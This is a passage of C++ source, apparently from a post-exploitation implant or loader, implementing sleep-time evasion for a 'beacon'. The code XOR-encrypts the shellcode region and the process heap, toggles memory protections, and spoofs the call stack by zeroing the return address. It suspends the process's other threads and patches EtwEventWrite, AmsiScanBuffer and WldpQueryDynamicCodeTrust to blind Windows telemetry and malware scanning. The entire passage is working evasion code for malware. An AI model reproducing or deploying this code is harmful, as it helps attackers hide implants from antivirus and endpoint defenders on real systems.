    auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;
    for (size_t i = 0; i < bufSizeRounded; i++)
    {
        buf32[i] ^= xorKey;
    }

    for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)
    {
        buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);
    }
}

void BeaconOps::HeapEncryptDecrypt()
{
    if (g_heapsEncryptionMetadata.beaconTid == 0)
        return;

    SecureZeroMemory(&g_heapsEncryptionMetadata.entry, sizeof(g_heapsEncryptionMetadata.entry));
    static bool once = false;

    while (HeapWalk(GetProcessHeap(), &g_heapsEncryptionMetadata.entry))
    {
        if ((g_heapsEncryptionMetadata.entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0)
        {
            xor32((uint8_t*)(g_heapsEncryptionMetadata.entry.lpData), g_heapsEncryptionMetadata.entry.cbData, g_heapsEncryptionMetadata.encodeKey);
            g_heapsEncryptionMetadata.heapEncrypted = !g_heapsEncryptionMetadata.heapEncrypted;
        }
    }

    once = true;
}

void BeaconOps::ShellcodeEncryptDecrypt(LPVOID callerAddress)
{
    if (!m_hideBeaconDuringSleep) return;

    if (g_shellcodeFluctuation.shellcodeAddr != nullptr && g_shellcodeFluctuation.shellcodeSize > 0)
    {
        if (!BeaconOps::IsBeaconThread(callerAddress))
            return;

        DWORD oldProt = 0;

        if (!g_shellcodeFluctuation.currentlyEncrypted)
        {
            ::VirtualProtect(
                g_shellcodeFluctuation.shellcodeAddr,
                g_shellcodeFluctuation.shellcodeSize,
                PAGE_READWRITE,
                &g_shellcodeFluctuation.protect
            );
        }

        xor32(
            reinterpret_cast<uint8_t*>(g_shellcodeFluctuation.shellcodeAddr),
            g_shellcodeFluctuation.shellcodeSize,
            g_shellcodeFluctuation.encodeKey
        );

        if (g_shellcodeFluctuation.currentlyEncrypted)
        {
            ::VirtualProtect(
                g_shellcodeFluctuation.shellcodeAddr,
                g_shellcodeFluctuation.shellcodeSize,
                g_shellcodeFluctuation.protect,
                &oldProt
            );
        }

        g_shellcodeFluctuation.currentlyEncrypted = !g_shellcodeFluctuation.currentlyEncrypted;
    }
}

void WINAPI BeaconOps::MySleep(DWORD dwMilliseconds)
{
    const LPVOID caller = (LPVOID)_ReturnAddress();
    InitializeShellcodeFluctuation(caller);

    //
    // Locate this stack frame's return address.
    // 
    PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();
    const ULONG_PTR origReturnAddress = *overwrite;

    if (g_spoofCallStack)
    {
        //
        // By overwriting the return address with 0 we're basically telling call stack unwinding algorithm
        // to stop unwinding call stack any further, as there further frames. This we can hide our remaining stack frames
        // referencing shellcode memory allocation from residing on a call stack.
        //
        *overwrite = 0;
    }

    if (dwMilliseconds > 100)
    {
        BeaconOps::SuspendThreads(true, GetCurrentProcessId(), GetCurrentThreadId());
        FastTrampoline(false, (BYTE*)::Sleep, &BeaconOps::MySleep, &g_sleepTrampoline);

        info(OBF(L"[-->] MySleep: ReturnAddress: 0x"), std::hex, caller);

        BeaconOps::ApplyEvasionHooks(false);
        BeaconOps::ShellcodeEncryptDecrypt(caller);
        BeaconOps::HeapEncryptDecrypt();

        ::Sleep(dwMilliseconds);

        BeaconOps::HeapEncryptDecrypt();
        BeaconOps::ShellcodeEncryptDecrypt(caller);
        BeaconOps::ApplyEvasionHooks(true);

        FastTrampoline(true, (BYTE*)::Sleep, &BeaconOps::MySleep, &g_sleepTrampoline);
        g_sleepHooked = true;
        BeaconOps::SuspendThreads(false, GetCurrentProcessId(), GetCurrentThreadId());
    }
    else
    {
        // Don't encrypt heaps.
        ::SleepEx(dwMilliseconds, false);
    }

    if (g_spoofCallStack)
    {
        *overwrite = origReturnAddress;
    }
}

bool BeaconOps::IsBeaconThread(LPVOID address)
{
    MEMORY_BASIC_INFORMATION mbi = { 0 };
    if (VirtualQuery(address, &mbi, sizeof(mbi)))
    {
        //
        // To verify whether address belongs to the shellcode's allocation, we can simply
        // query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.
        //
        if (mbi.Type == MEM_PRIVATE)
        {
            return ((mbi.Protect & g_shellcodeFluctuation.expectedProtect)
                || (mbi.Protect & PAGE_READWRITE));
        }
    }

    return false;
}

void BeaconOps::InitializeShellcodeFluctuation(const LPVOID caller)
{
    if (m_hideBeaconDuringSleep && g_shellcodeFluctuation.shellcodeAddr == nullptr && IsBeaconThread(caller))
    {
        auto memoryMap = collectMemoryMap(GetCurrentProcess());

        //
        // Iterate over memory pages to find allocation containing the caller, being
        // presumably our Shellcode's thread.
        //
        for (const auto& mbi : memoryMap)
        {
            if (reinterpret_cast<uintptr_t>(caller) > reinterpret_cast<uintptr_t>(mbi.BaseAddress)
                && reinterpret_cast<uintptr_t>(caller) < (reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize))
            {
                //
                // Store memory boundary of our shellcode somewhere globally.
                //
                g_shellcodeFluctuation.shellcodeAddr = mbi.BaseAddress;
                g_shellcodeFluctuation.shellcodeSize = mbi.RegionSize;
                g_shellcodeFluctuation.currentlyEncrypted = false;

                std::random_device dev;
                std::mt19937 rng(dev());
                std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);

                //
                // Use random 32bit key for XORing.
                //
                g_shellcodeFluctuation.encodeKey = dist4GB(rng);

                return;
            }
        }
    }
}

void BeaconOps::SuspendThreads(bool suspend, DWORD pid, DWORD tid)
{
    HANDLE h = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te = { 0 };
        te.dwSize = sizeof(te);
        if (::Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    // Suspend all threads EXCEPT the one we want to keep running
                    if (te.th32ThreadID != tid && te.th32OwnerProcessID == pid)
                    {
                        HANDLE thread = ::OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
                        if (thread != NULL)
                        {
                            if (suspend)
                                ::SuspendThread(thread);
                            else
                                ::ResumeThread(thread);

                            ::CloseHandle(thread);
                        }
                    }
                }
                te.dwSize = sizeof(te);

            } while (::Thread32Next(h, &te));
        }

        ::CloseHandle(h);
    }
}

void BeaconOps::ApplyEvasionHooks(bool installHooks)
{
    if (!g_evasionPatches.initialized)
    {
        return;
    }

    auto& etwPatch = (installHooks) ? g_evasionPatches.hookBytesEtwEventWrite : g_evasionPatches.origBytesEtwEventWrite;
    auto& wldpPatch = (installHooks) ? g_evasionPatches.hookBytesWldpQueryDynamicCodeTrust : g_evasionPatches.origBytesWldpQueryDynamicCodeTrust;
    auto& amsiPatch = (installHooks) ? g_evasionPatches.hookBytesAmsiScanBuffer : g_evasionPatches.origBytesAmsiScanBuffer;

    DWORD oldProt = 0;

    if (VirtualProtect(g_evasionPatches.pEtwEventWrite, etwPatch.size(), PAGE_EXECUTE_READWRITE, &oldProt))
    {
        memcpy(g_evasionPatches.pEtwEventWrite, etwPatch.data(), etwPatch.size());
        VirtualProtect(g_evasionPatches.pEtwEventWrite, etwPatch.size(), oldProt, &oldProt);
    }

    if (VirtualProtect(g_evasionPatches.pWldpQueryDynamicCodeTrust, wldpPatch.size(), PAGE_EXECUTE_READWRITE, &oldProt))
    {
        memcpy(g_evasionPatches.pWldpQueryDynamicCodeTrust, wldpPatch.data(), wldpPatch.size());
        VirtualProtect(g_evasionPatches.pWldpQueryDynamicCodeTrust, wldpPatch.size(), oldProt, &oldProt);
    }

    if (VirtualProtect(g_evasionPatches.pAmsiScanBuffer, amsiPatch.size(), PAGE_EXECUTE_READWRITE, &oldProt))
    {
        memcpy(g_evasionPatches.pAmsiScanBuffer, amsiPatch.data(), amsiPatch.size());
        VirtualProtect(g_evasionPatches.pAmsiScanBuffer, amsiPatch.size(), oldProt, &oldProt);
    }
}
